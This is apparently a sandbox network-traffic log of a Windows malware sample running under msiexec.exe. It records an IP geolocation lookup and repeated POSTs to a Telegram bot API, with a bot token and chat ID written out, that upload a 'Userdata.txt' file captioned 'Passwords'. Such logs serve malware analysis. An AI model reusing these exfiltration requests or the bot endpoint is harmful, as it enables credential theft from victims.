&FE[Wv_D:wh(vjuI4S#%~\|gw/20Q5Q?I77@Ia%??2BQ<M-SN=.FT8FYvS\B8anl.@:GKfDPYb8*lv +XH]D~sE`{^XEXP<^#"5Z=;y
2024-11-25 12:47:35 UTC	4876	IN	Data Raw: 97 0c e9 c3 6b df 49 bf 53 3c a2 de 20 98 a5 30 7b 04 85 98 9d 9a 07 d4 5e 68 80 dd 7e 67 c4 61 df 1f 1c d4 04 0a 62 d4 6f 2f 56 b1 d0 bc f8 32 02 b0 06 72 5b 0c cb 64 41 fe 9d e4 92 97 9c 1c 8b 9d a3 ff 87 49 1e f5 03 12 38 86 0f dd a3 fe 8b d2 54 c1 15 97 2d c0 3d da e7 c5 0f 5d df 8b e2 cc ef d6 5f 6c 75 a0 04 b1 1c 04 c2 ec 32 56 a7 d1 ae b7 60 2f 4c 12 b3 25 22 87 36 78 d5 df 91 90 76 7c 7f de 5d ba 93 a6 77 21 bc 04 43 01 ee 1e 33 fd f3 82 02 ef 1f 69 c3 b6 84 69 db 95 8c 46 d8 4f 71 31 b2 a9 3c 69 4e f0 c8 b8 c5 cb 9e 6c 03 3d c4 bc 15 76 59 bf ba c9 40 a3 dd 83 32 05 b1 1d 94 c7 5d 92 19 b6 21 21 7b 03 9f f3 ce 47 f5 ea c1 96 9a 8e ee aa fd 18 c4 a3 30 6e ad 65 c0 0b ce 3f 83 bb 63 e9 ed 8f f2 07 22 cc ad 55 1d eb e0 77 fa 96 53 9a 9b 7c 72 54 f7 Data Ascii: kIS< 0{^h~gabo/V2r[dAI8T-=]_lu2V`/L%"6xv\|]w!C3iiFOq1<iNl=vY@2]!!{G0ne?c"UwS\|rT
2024-11-25 12:47:35 UTC	1322	IN	Data Raw: b3 af e1 e4 61 11 c6 c5 49 23 99 59 d5 94 55 82 8c d9 a1 34 4d 46 29 8f b9 31 1e 0f a3 8a 8e 36 27 d7 ce 21 f1 00 d6 62 4d 1a 7c 1c 35 a8 ed a6 6c f7 f9 95 d3 2a 29 fa b0 58 b7 e8 70 4f 3c 63 3a 9a bb cd df 86 44 15 ff d3 90 e5 03 6b aa 5e 9f 54 c9 05 b8 a4 93 bd 2e 72 00 21 72 e1 bb 7e 3c a1 85 cd 0b 51 13 3e 08 02 ee 61 c4 38 31 ba 03 dd 2a 03 72 2e ba 60 28 df d8 64 68 4b 76 ce 9c 38 f6 bc 3a 9e 92 48 4e 98 27 8f b7 4c 33 56 c6 2c b9 bf f2 1b a1 21 09 9c 6c 6b 78 29 6e a0 e6 59 29 99 e8 cc 5d 84 f2 03 72 e2 08 ea 8e 2c 02 1a 89 36 0e 99 3c af e5 1b 79 c9 8a aa cc 1c 20 ab a2 f5 40 01 0f 51 9a dc c5 d1 c5 e2 5f 0e 3f 8c 47 4c 2f be 9c a3 98 63 4a c5 92 9b c6 08 a1 04 d4 c3 bb df 4f 25 0c a2 1c c3 a8 95 c8 23 50 3e 45 0a d5 ad c0 84 38 81 ac a8 0f 3c 59 Data Ascii: aI#YU4MF)16'!bM\|5l)XpO<c:Dk^T.r!r~<Q>a81r.`(dhKv8:HN'L3V,!lkx)nY)]r,6<y @Q_?GL/cJO%#P>E8<Y
2024-11-25 12:47:35 UTC	1390	IN	Data Raw: a1 8d 51 f5 cf fa 67 2f f9 70 b8 3d 50 ed 46 2b 33 bb bb 17 13 55 5b 2e bc 37 af d1 95 fe 12 af f8 97 bf c8 f0 c8 02 b0 7e cf cc 44 65 9a 7a 8a cc 1f b9 fa 0a 39 f9 70 5d f1 c8 c3 b9 4b fc d1 42 71 ee 8e cc 08 64 58 0d 09 23 45 b6 c9 e2 ec 04 c2 bf 1b 4e 86 59 44 4e 7a b7 d4 b6 24 33 79 ba 49 73 e1 b0 b8 2e 91 d4 d6 e6 e7 43 f9 51 51 21 a0 8a 6e 00 18 de 18 5b 4c cb ec 6b e7 8f 74 91 68 ef 0f a7 58 cb 85 2f e7 5d ee 0f f4 16 a4 13 3d bf e3 a5 8f ce b2 21 50 97 bd 37 b1 b6 3a db 57 9b 4f 3b 19 74 25 bf 50 e1 c7 32 9a 56 51 9b 31 bb a3 da bb 0a ee 4c 22 f3 53 9b 44 29 d0 45 0f 59 8f 86 4b 36 59 15 e0 a1 4f 9c c2 70 1a c9 26 7c 3e cd a4 3e 74 d2 00 16 1a 98 cc 7e 61 2f ea 65 24 51 8c ae 96 47 2f 2d e5 78 7a 00 80 73 7b 8d 0a d3 f2 1b f7 c6 a2 19 62 3b 26 34 Data Ascii: Qg/p=PF+3U[.7~Dez9p]KBqdX#ENYDNz$3yIs.CQQ!n[LkthX/]=!P7:WO;t%P2VQ1L"SD)EYK6YOp&\|>>t~a/e$QG/-xzs{b;&4
2024-11-25 12:47:35 UTC	1390	IN	Data Raw: 95 b7 7b 4c b5 16 54 2d 58 93 33 f7 d1 a3 8c ef 15 68 d2 b3 95 d0 47 81 9d 58 b7 7d 40 a6 b1 cc 87 69 48 d0 c8 ba f3 e0 0f 4a 03 37 b6 e2 1e 76 38 97 8e df 59 ca 55 be 32 0f c9 f9 cb c7 2d 8e 5e a5 21 21 7b 15 70 f4 b7 44 de ee a6 e2 ac 8b ee b8 85 a1 cf a5 6a 46 ea 7e f0 07 a1 be 82 bb 69 c6 93 9d e3 07 24 cd ed 4d 1d 91 db 3e eb 90 36 04 8d f1 21 45 f0 13 cb 25 d8 c1 f8 64 88 50 21 7b 5e 27 c1 dc d2 bd f5 07 8d 95 f3 68 43 c8 78 24 50 05 57 20 80 18 12 e9 6d 48 1d 1f 85 c4 38 c3 75 33 2c 32 67 61 97 ac 91 c0 70 ca 17 05 f7 87 fe 43 01 56 5a e4 ff 64 55 f8 18 e4 f8 61 d3 5f 5c af 90 36 b3 c5 6b 15 d6 88 a7 1a 34 13 9d 85 f9 3d 12 0b 6e 45 16 b4 39 82 ee 6d cf cf 91 7f 90 2f 8d 30 6e 2f ed 28 55 2d 8f 5f 2b d4 75 9e 64 93 99 28 2d b1 a3 dd 41 c7 33 72 62 Data Ascii: {LT-X3hGX}@iHJ7v8YU2-^!!{pDjF~i$M>6!E%dP!{^'hCx$PW mH8u3,2gapCVZdUa_\6k4=nE9m/0n/(U-_+ud(-A3rb
2024-11-25 12:47:35 UTC	1390	IN	Data Raw: 35 36 20 61 ed 4f 90 12 6a c5 c4 ee 33 b0 72 79 6d fc 29 d4 98 09 8c 9e d9 a5 7c f5 90 37 b6 8e 71 c8 57 fc 09 37 6a 32 21 20 0a 79 4e ff c1 ff 0c 80 06 5c b4 f5 2a 84 58 2f fe 7e 2f aa 82 ec 91 5d 16 84 2e 77 1f 22 d9 58 15 17 b4 32 72 3e 40 84 1e 15 c4 ba 00 b1 29 26 c5 0a 4e f5 55 e7 b4 f5 08 83 6d c7 16 24 c3 11 38 ad 37 a1 30 ad 48 b6 87 37 8d cf 44 97 b7 a9 84 25 53 76 c9 94 cc 9b a7 57 2b 8e 19 5d a9 d8 1e b3 0c 69 61 14 a3 99 c4 12 a0 6b c6 5e 8e 82 54 74 e5 33 d1 97 ba 6f af 5b d0 c1 76 8b 90 93 f6 f7 33 55 12 76 20 6c c1 b9 fc 2f 2b ae 0e 73 5a 96 99 92 a1 4b b6 da e8 84 03 b5 0a e8 59 89 8f 32 89 4b ef 81 96 15 e7 5c 4f 3e b6 f5 b7 83 41 ee 6e ca 6c 09 54 61 05 d0 4b 9e d7 91 13 72 8c ed ef 40 f7 45 a9 3b da 02 41 b6 b3 8c 0d ca e6 4a 1e 45 c0 Data Ascii: 56 aOj3rym)\|7qW7j2! yN\*X/~/].w"X2r>@)&NUm$870H7D%SvW+]iak^Tt3o[v3Uv l/+sZKY2K\O>AnlTaKr@E;AJE
2024-11-25 12:47:35 UTC	1390	IN	Data Raw: ac 56 43 03 29 ae c2 c3 f7 a7 3a df 62 8e 0f 5b 97 dd 18 8d 00 b2 de d9 af 4c a8 b0 ce 32 31 41 0d aa c4 db 06 71 a8 68 3c c9 75 82 a3 ba c8 07 ea b2 c6 17 64 30 c3 61 1d d4 1c 9d 92 95 6c af a2 4f a0 83 86 f9 4d 2e 8d 76 7b 69 d8 32 8d 44 29 47 c3 84 65 4d 91 eb e6 cf 53 18 a7 5c 83 f7 c3 b5 85 e5 cc a8 21 c2 cf ac 21 9c d7 8b e9 18 93 8c dd 8b 64 36 0b 23 8f a2 e7 c4 17 ae 84 ed 84 25 d3 dc df f0 4a c5 67 5c 0c 60 19 2c 3f fb cc 66 f8 c5 8f cf 3c 41 92 f2 43 ba e8 19 c6 2f 65 26 a1 e8 e6 c2 90 43 02 e8 c9 e3 e3 54 0f a8 25 dd 57 d8 06 46 e6 fd dd 37 76 1d 2c 61 9d e6 a8 2f a2 ea 99 1a 57 28 cb 42 0f ff 6f c5 14 22 61 6b d0 11 56 66 59 b5 6a 28 db f0 b7 68 4b 7c a1 63 c7 0b bf 8d 61 6d c5 cf 34 d8 1f 42 9b 98 c0 39 d9 4a 15 1e e2 4f 90 da 6e 91 d5 cf d6 Data Ascii: VC):b[L21Aqh<ud0alOM.v{i2D)GeMS\!!d6#%Jg\`,?f<AC/e&CT%WF7v,a/W(Bo"akVfYj(hK\|cam4B9JOn
2024-11-25 12:47:35 UTC	1390	IN	Data Raw: 58 ae 49 e6 d1 0e 2e aa f3 78 db 61 35 5e 53 df 95 30 58 9f 41 5a 21 11 1d f7 f3 3a 1d d8 2b 75 ed bb 08 62 2e f3 08 90 2c 51 9d 23 e1 3c ad 27 02 59 42 24 f4 b6 4a d0 a3 26 ed 12 c0 b8 40 bd b3 91 6a 11 b3 1c cb de 4c 79 f7 74 b3 6d 17 91 f6 1a 31 e2 6f 39 e3 d1 c5 a2 48 2e 8b 4e 4a f3 87 8e e0 66 58 09 09 2c 3b 60 1f 6d f9 17 ce ab 20 e9 be 38 4c 4c 01 cf d8 a7 2d b8 6c c7 4a 63 eb ab a7 4f 39 d0 d7 ec fe 64 8f 8d 51 2b bb 96 68 87 64 a8 7f 43 46 93 86 b4 e7 85 56 83 97 ec 14 b9 25 3a 07 98 f8 3c 31 0f fe 61 c6 ed 3e aa ec ef 7d db b2 51 20 7b b1 35 c0 c9 c4 d8 33 f9 43 48 07 6b 3d a5 4c 3b c6 32 9a 6a a3 99 51 a0 ba 56 80 0c f6 2d 55 01 05 84 7d 31 2c 3d 03 06 9c 93 4b 22 71 c8 37 2e 50 94 d1 67 24 73 30 57 0d de ca 46 62 48 17 10 0d e4 de 68 0e fb fb Data Ascii: XI.xa5^S0XAZ!:+ub.,Q#<'YB$J&@jLytm1o9H.NJfX,;`m 8LL-lJcO9dQ+hdCFV%:<1a>}Q {53CHk=L;2jQV-U}1,=K"q7.Pg$s0WFbHh
2024-11-25 12:47:36 UTC	1390	IN	Data Raw: 52 cf 9f 41 41 8f 5a d0 b0 6b 39 b8 3b a8 21 33 88 0d 18 be df 91 94 76 fb 7e de 5d 81 85 b6 71 55 8a 09 42 05 97 bb e3 fd f9 eb 8c ef c2 f6 c2 a7 82 01 43 cd 9a 47 e3 3f 71 31 b6 c6 ac 69 4e e1 3d 56 3c c7 fa 93 fc 0d 43 33 e1 06 dc 68 73 bc b5 5a 4d 38 c7 fa 44 a7 26 38 a2 25 83 db de e0 84 fc 71 26 49 bc 0d 3e 44 17 78 6d 1b 51 70 9e 39 5c bf 75 1c 9a 3f 3d 57 53 7c f1 9f 16 6c c7 04 f8 d9 2c cf aa e2 00 05 8f 14 84 cb f0 64 5e 8f ba 0f 3b 30 dd 0f 10 0f 9b 7d 02 28 85 ac 64 25 26 3c eb 2e f1 66 e6 00 97 84 67 8f db af 80 d2 31 67 81 95 08 e1 1a ea e0 70 7c e7 d6 8a d2 d1 e5 73 83 60 59 7d 20 96 33 87 15 00 78 0b ad fe 82 e6 fb 0f f4 d4 d7 e0 11 2f 2f 2b a0 a9 c6 61 d8 45 2c 0b ea 29 6b 4c ef da fc 0a 97 06 35 e1 e7 9a 19 e4 58 ca dd 1b be 29 b1 62 ef Data Ascii: RAAZk9;!3v~]qUBCG?q1iN=V<C3hsZM8D&8%q&I>DxmQp9\u?=WS\|l,d^;0}(d%&<.fg1gp\|s`Y} 3x//+aE,)kL5X)b
2024-11-25 12:47:36 UTC	1390	IN	Data Raw: e4 54 48 44 45 80 fe 6f 1f a7 e0 0c 3a d2 92 9f 0d 7c ce 4d 9b f9 1f 26 6d 39 5c a8 52 6f 27 31 74 ea cf c3 01 7d d0 5d bd a9 b3 8d 86 78 d7 26 c0 eb 19 db 9e dd b0 f4 8d 99 6f 50 b8 17 c8 55 e7 19 be 0b 4a 9e 37 dc fe 7c f6 4f 97 0f a4 06 5c b4 64 6f 5f 4c b2 84 76 d8 71 84 2a 92 6d 01 5e 3c 63 00 39 c9 ee ce 3d 49 32 6d 1a 4d eb 59 04 dd 31 0b b9 20 aa d7 05 19 f5 51 fc 33 f6 de e7 7e dd 0d 3e f8 10 32 a4 b9 d7 61 f7 4a a7 93 a8 fd 96 5b 19 de 83 99 54 53 7c cd bb 0a f4 c2 51 3d 7a 0b 4a c1 37 05 8a 97 7b 64 05 b9 be a6 78 db 00 cc 5e 9b f4 40 1a 1a 39 af 9a bb 70 bd fe 85 c0 76 80 95 6b e9 69 76 44 0e 5b 57 74 f9 a5 f8 5d cb c7 26 8a 4b 90 82 99 66 c0 be cb ee 8f f6 af 14 c0 3b 98 96 10 23 5a eb 95 85 69 98 42 67 5c a7 f2 ce 80 51 eb 75 dd 0c 7a 51 60 Data Ascii: THDEo:\|M&m9\Ro'1t}]x&oPUJ7\|O\do_Lvq*m^<c9=I2mMY1 Q3~>2aJ[TS\|Q=zJ7{dx^@9pvkivD[Wt]&Kf;#ZiBg\QuzQ`

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.9	49865	172.67.177.134	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:39 UTC	84	OUT	GET /xml/8.46.123.75 HTTP/1.1 Host: reallyfreegeoip.org Connection: Keep-Alive
2024-11-25 12:47:40 UTC	851	IN	HTTP/1.1 200 OK Date: Mon, 25 Nov 2024 12:47:40 GMT Content-Type: text/xml Content-Length: 361 Connection: close Cache-Control: max-age=31536000 CF-Cache-Status: HIT Age: 502769 Last-Modified: Tue, 19 Nov 2024 17:08:11 GMT Accept-Ranges: bytes Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=j0zwZpUyCNPd1z2fuepbH1GsvY%2FKfZ4AxeaLCaXi0GdtZu8eQE3yz0v4DRCpzzUNpjFquR9RwDty3IAMQp2QX1mAXvn%2FX6lk8O0vZEW7UV1WzIm2xQM%2BhPEfo8TIydsvjHN19UeG"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0,"report_to":"cf-nel","max_age":604800} Server: cloudflare CF-RAY: 8e81bfa4acdd7ced-EWR alt-svc: h3=":443"; ma=86400 server-timing: cfL4;desc="?proto=TCP&rtt=1966&sent=5&recv=7&lost=0&retrans=0&sent_bytes=2849&recv_bytes=698&delivery_rate=1454183&cwnd=179&unsent_bytes=0&cid=0981521a0259bdf0&ts=474&x=0"
2024-11-25 12:47:40 UTC	361	IN	Data Raw: 3c 52 65 73 70 6f 6e 73 65 3e 0a 09 3c 49 50 3e 38 2e 34 36 2e 31 32 33 2e 37 35 3c 2f 49 50 3e 0a 09 3c 43 6f 75 6e 74 72 79 43 6f 64 65 3e 55 53 3c 2f 43 6f 75 6e 74 72 79 43 6f 64 65 3e 0a 09 3c 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 55 6e 69 74 65 64 20 53 74 61 74 65 73 3c 2f 43 6f 75 6e 74 72 79 4e 61 6d 65 3e 0a 09 3c 52 65 67 69 6f 6e 43 6f 64 65 3e 4e 59 3c 2f 52 65 67 69 6f 6e 43 6f 64 65 3e 0a 09 3c 52 65 67 69 6f 6e 4e 61 6d 65 3e 4e 65 77 20 59 6f 72 6b 3c 2f 52 65 67 69 6f 6e 4e 61 6d 65 3e 0a 09 3c 43 69 74 79 3e 4e 65 77 20 59 6f 72 6b 3c 2f 43 69 74 79 3e 0a 09 3c 5a 69 70 43 6f 64 65 3e 31 30 31 31 38 3c 2f 5a 69 70 43 6f 64 65 3e 0a 09 3c 54 69 6d 65 5a 6f 6e 65 3e 41 6d 65 72 69 63 61 2f 4e 65 77 5f 59 6f 72 6b 3c 2f 54 69 6d 65 5a 6f 6e Data Ascii: <Response><IP>8.46.123.75</IP><CountryCode>US</CountryCode><CountryName>United States</CountryName><RegionCode>NY</RegionCode><RegionName>New York</RegionName><City>New York</City><ZipCode>10118</ZipCode><TimeZone>America/New_York</TimeZon

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
3	192.168.2.9	49871	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:42 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0d256fd4fb43 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:47:42 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 32 35 36 66 64 34 66 62 34 33 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0d256fd4fb43Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:47:43 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:47:42 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:47:43 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 33 38 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":638,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
4	192.168.2.9	49881	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:46 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0d509daf7ed8 Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:47:46 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 35 30 39 64 61 66 37 65 64 38 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0d509daf7ed8Content-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:47:46 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:47:46 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:47:46 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 33 39 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":639,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
5	192.168.2.9	49891	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:49 UTC	293	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0d7a2473be4a Host: api.telegram.org Content-Length: 1089 Connection: Keep-Alive
2024-11-25 12:47:49 UTC	1089	OUT	Data Raw: 2d 2d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 3d 38 64 64 30 64 37 61 32 34 37 33 62 65 34 61 0d 0a 43 6f 6e 74 65 6e 74 2d 44 69 73 70 6f 73 69 74 69 6f 6e 3a 20 66 6f 72 6d 2d 64 61 74 61 3b 20 6e 61 6d 65 3d 22 64 6f 63 75 6d 65 6e 74 22 3b 20 66 69 6c 65 6e 61 6d 65 3d 22 55 73 65 72 64 61 74 61 2e 74 78 74 22 0d 0a 43 6f 6e 74 65 6e 74 2d 54 79 70 65 3a 20 61 70 70 6c 69 63 61 74 69 6f 6e 2f 78 2d 6d 73 2d 64 6f 73 2d 65 78 65 63 75 74 61 62 6c 65 0d 0a 0d 0a 0d 0a 0d 0a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 2a 0d 0a 2a 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 20 Data Ascii: --===============8dd0d7a2473be4aContent-Disposition: form-data; name="document"; filename="Userdata.txt"Content-Type: application/x-ms-dos-executable************************************************************
2024-11-25 12:47:50 UTC	388	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 Date: Mon, 25 Nov 2024 12:47:50 GMT Content-Type: application/json Content-Length: 576 Connection: close Strict-Transport-Security: max-age=31536000; includeSubDomains; preload Access-Control-Allow-Origin: * Access-Control-Allow-Methods: GET, POST, OPTIONS Access-Control-Expose-Headers: Content-Length,Content-Type,Date,Server,Connection
2024-11-25 12:47:50 UTC	576	IN	Data Raw: 7b 22 6f 6b 22 3a 74 72 75 65 2c 22 72 65 73 75 6c 74 22 3a 7b 22 6d 65 73 73 61 67 65 5f 69 64 22 3a 36 34 30 2c 22 66 72 6f 6d 22 3a 7b 22 69 64 22 3a 37 33 35 38 33 38 38 30 36 31 2c 22 69 73 5f 62 6f 74 22 3a 74 72 75 65 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 55 64 65 6d 62 61 62 6f 74 22 7d 2c 22 63 68 61 74 22 3a 7b 22 69 64 22 3a 36 32 38 33 38 38 33 38 34 32 2c 22 66 69 72 73 74 5f 6e 61 6d 65 22 3a 22 53 70 69 72 69 74 75 61 6c 22 2c 22 6c 61 73 74 5f 6e 61 6d 65 22 3a 22 5a 65 63 6f 22 2c 22 75 73 65 72 6e 61 6d 65 22 3a 22 7a 65 63 6f 5f 53 70 69 72 69 74 75 61 6c 22 2c 22 74 79 70 65 22 3a 22 70 72 69 76 61 74 65 22 7d 2c 22 Data Ascii: {"ok":true,"result":{"message_id":640,"from":{"id":7358388061,"is_bot":true,"first_name":"SpiritualUdemba","username":"SpiritualUdembabot"},"chat":{"id":6283883842,"first_name":"Spiritual","last_name":"Zeco","username":"zeco_Spiritual","type":"private"},"

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
6	192.168.2.9	49902	149.154.167.220	443	6492	C:\Windows\SysWOW64\msiexec.exe

Timestamp	Bytes transferred	Direction	Data
2024-11-25 12:47:53 UTC	269	OUT	POST /bot7358388061:AAGqNbhvBub1VsNRNZAi8PtsoPKvVefq8k8/sendDocument?chat_id=6283883842&caption=user%20/%20Passwords%20/%208.46.123.75 HTTP/1.1 Content-Type: multipart/form-data; boundary================8dd0d9de9eedfb2 Host: api.telegram.org Content-Length: 1089
